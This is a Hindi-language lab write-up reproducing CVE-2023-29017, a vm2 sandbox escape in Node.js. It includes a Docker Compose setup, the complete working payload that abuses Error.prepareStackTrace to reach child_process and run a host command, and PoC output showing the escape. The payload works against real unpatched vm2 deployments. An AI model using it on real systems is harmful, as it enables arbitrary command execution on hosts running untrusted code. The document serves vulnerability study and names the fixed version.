
Node.js vm2 CVE-2023-29017 का Docker Compose और PoC के साथ पुनरुत्पादन
[WHS 4th 31st Batch] - Kim Geon-woo (@gunwoo105)
vm2 एक Node.js सैंडबॉक्स लाइब्रेरी है जो अविश्वसनीय JavaScript को एक सीमित वातावरण में चलाने के लिए है। सामान्य स्थिति में, सैंडबॉक्स के अंदर के कोड को Node.js के process, require, child_process और होस्ट फ़ाइल सिस्टम जैसी संवेदनशील सुविधाओं तक पहुँचने में सक्षम नहीं होना चाहिए।
हालाँकि, vm2 3.9.14 और उससे नीचे के संस्करणों में, जब एक असंभालित अतुल्यकालिक त्रुटि होती है, तो यह Error.prepareStackTrace को पारित होस्ट ऑब्जेक्ट को सुरक्षित रूप से संभालने में विफल रहता है। हमलावर इस ऑब्जेक्ट के कंस्ट्रक्टर श्रृंखला का दुरुपयोग करके होस्ट संदर्भ के Function कंस्ट्रक्टर और process ऑब्जेक्ट को प्राप्त कर सकता है, और अंततः child_process के माध्यम से ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है।
| घटक | संस्करण और सेटिंग |
|---|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| पैच संस्करण | 3.9.15 |
| निष्पादन वातावरण | Docker Compose |
| कंटेनर उपयोगकर्ता | node |
| सेवा पोर्ट | 127.0.0.1:3000 |
| पैकेज स्थापना | npm ci + package-lock.json |
हम कमजोर तैयार छवि का उपयोग नहीं करते हैं, बल्कि आधिकारिक Node.js बेस इमेज और रिपॉजिटरी में शामिल स्रोत कोड के साथ सीधे छवि का निर्माण करते हैं। Dockerfile में Node.js और vm2 संस्करणों की जाँच की जाती है, और यदि संस्करण अपेक्षित से भिन्न होता है तो निर्माण विफल हो जाता है।
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
| फ़ाइल | भूमिका |
|---|---|
docker-compose.yml | कमजोर सेवा और PoC कंटेनरों को कॉन्फ़िगर करता है और निष्पादन क्रम को परिभाषित करता है |
Dockerfile | कमजोर सेवा और PoC छवियों को मल्टी-स्टेज तरीके से बनाता है |
vulnerable/src/server.js | /health, /execute, /evidence एंडपॉइंट प्रदान करता है |
vulnerable/src/worker.js | उपयोगकर्ता इनपुट को अलग प्रक्रिया के vm2 में निष्पादित करता है |
poc/poc.js | संस्करण जाँच, सामान्य नियंत्रण, हमला और साक्ष्य सत्यापन को स्वचालित करता है |
vulnerable/package-lock.json | संक्रमणीय निर्भरताओं सहित पैकेज संस्करणों को लॉक करता है |
worker.js को अलग प्रक्रिया के रूप में चलाने का कारण यह है कि PoC एक असंभालित अतुल्यकालिक त्रुटि उत्पन्न करता है। हमले की प्रक्रिया के दौरान भले ही वर्कर समाप्त हो जाए, वेब सर्वर चलता रहता है, और मार्कर फ़ाइल के साथ सफलता की विश्वसनीय रूप से पुष्टि की जा सकती है।
निम्नलिखित सभी शर्तों को पूरा किया जाना चाहिए।
vm2 3.9.14 या उससे नीचे का उपयोग करता है।vm2 स्थापित करने वाली सभी सेवाएँ स्वचालित रूप से रिमोट हमले के संपर्क में नहीं आती हैं। हमलावर द्वारा नियंत्रित कोड को vm2 में निष्पादित करने की क्षमता मौजूद होनी चाहिए। इस अभ्यास का /execute एंडपॉइंट उस उपयोग मामले का न्यूनतम कार्यान्वयन है।
हमले का प्रवाह इस प्रकार है:
दुर्भावनापूर्ण JavaScript वितरण
│
▼
असंभालित अतुल्यकालिक त्रुटि उत्पन्न
│
▼
Error.prepareStackTrace कॉल
│
▼
होस्ट frames ऑब्जेक्ट का प्रदर्शन
│
▼
होस्ट Function कंस्ट्रक्टर प्राप्त करना
│
▼
process → require → child_process
│
▼
कंटेनर के अंदर OS कमांड निष्पादन
docker compose build --no-cache

docker compose up -d vulnerable
कंटेनर की स्थिति जाँचें।
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
PoC स्वचालित रूप से निम्नलिखित वस्तुओं को सत्यापित करता है:
/tmp/vm2-pwned के निर्माण की जाँच करेंuid= शामिल हैबिल्ड से PoC तक एक बार में चलाने के लिए, निम्नलिखित कमांड का उपयोग करें:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
पूरा PoC poc/poc.js में शामिल है। मुख्य payload इस प्रकार है:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTrace पुनर्परिभाषितError.prepareStackTrace = (error, frames) => {
हमलावर उस फ़ंक्शन को पुनर्परिभाषित करता है जो त्रुटि स्टैक ट्रेस उत्पन्न होने पर निष्पादित होता है।
Function कंस्ट्रक्टर प्राप्त करनाframes.constructor.constructor
कमजोर vm2 द्वारा उजागर किए गए होस्ट frames ऑब्जेक्ट की कंस्ट्रक्टर श्रृंखला का अनुसरण करके होस्ट संदर्भ के Function कंस्ट्रक्टर तक पहुँचता है।
process ऑब्जेक्ट प्राप्त करनाframes.constructor.constructor('return process')();
होस्ट संदर्भ में process लौटाने वाला एक फ़ंक्शन बनाता और निष्पादित करता है।
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
सैंडबॉक्स के अंदर उपलब्ध नहीं child_process को लोड करके Linux id कमांड निष्पादित करता है।
(async () => {}).constructor('return process')();
सैंडबॉक्स में उपलब्ध नहीं process को एक अतुल्यकालिक फ़ंक्शन द्वारा संदर्भित करने के लिए बनाकर एक अस्वीकृत Promise उत्पन्न करता है, और कमजोर स्टैक ट्रेस प्रसंस्करण पथ तक पहुँचता है।
सामान्य JavaScript vm2 के अंदर निष्पादित होता है और 42 लौटाता है, लेकिन ऑपरेटिंग सिस्टम कमांड निष्पादन का साक्ष्य नहीं बनाता है।
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
दुर्भावनापूर्ण payload वितरित करने पर, यह vm2 सैंडबॉक्स से बच निकलता है, और कमजोर Node.js प्रक्रिया के विशेषाधिकारों के साथ कंटेनर के अंदर id कमांड निष्पादित होता है।
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
PoC संग्रहीत साक्ष्य की फिर से जाँच करता है और फिर सफलता की स्थिति लौटाता है।
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

साक्ष्य फ़ाइल को सीधे जाँचने पर निम्नलिखित परिणाम आउटपुट होता है:
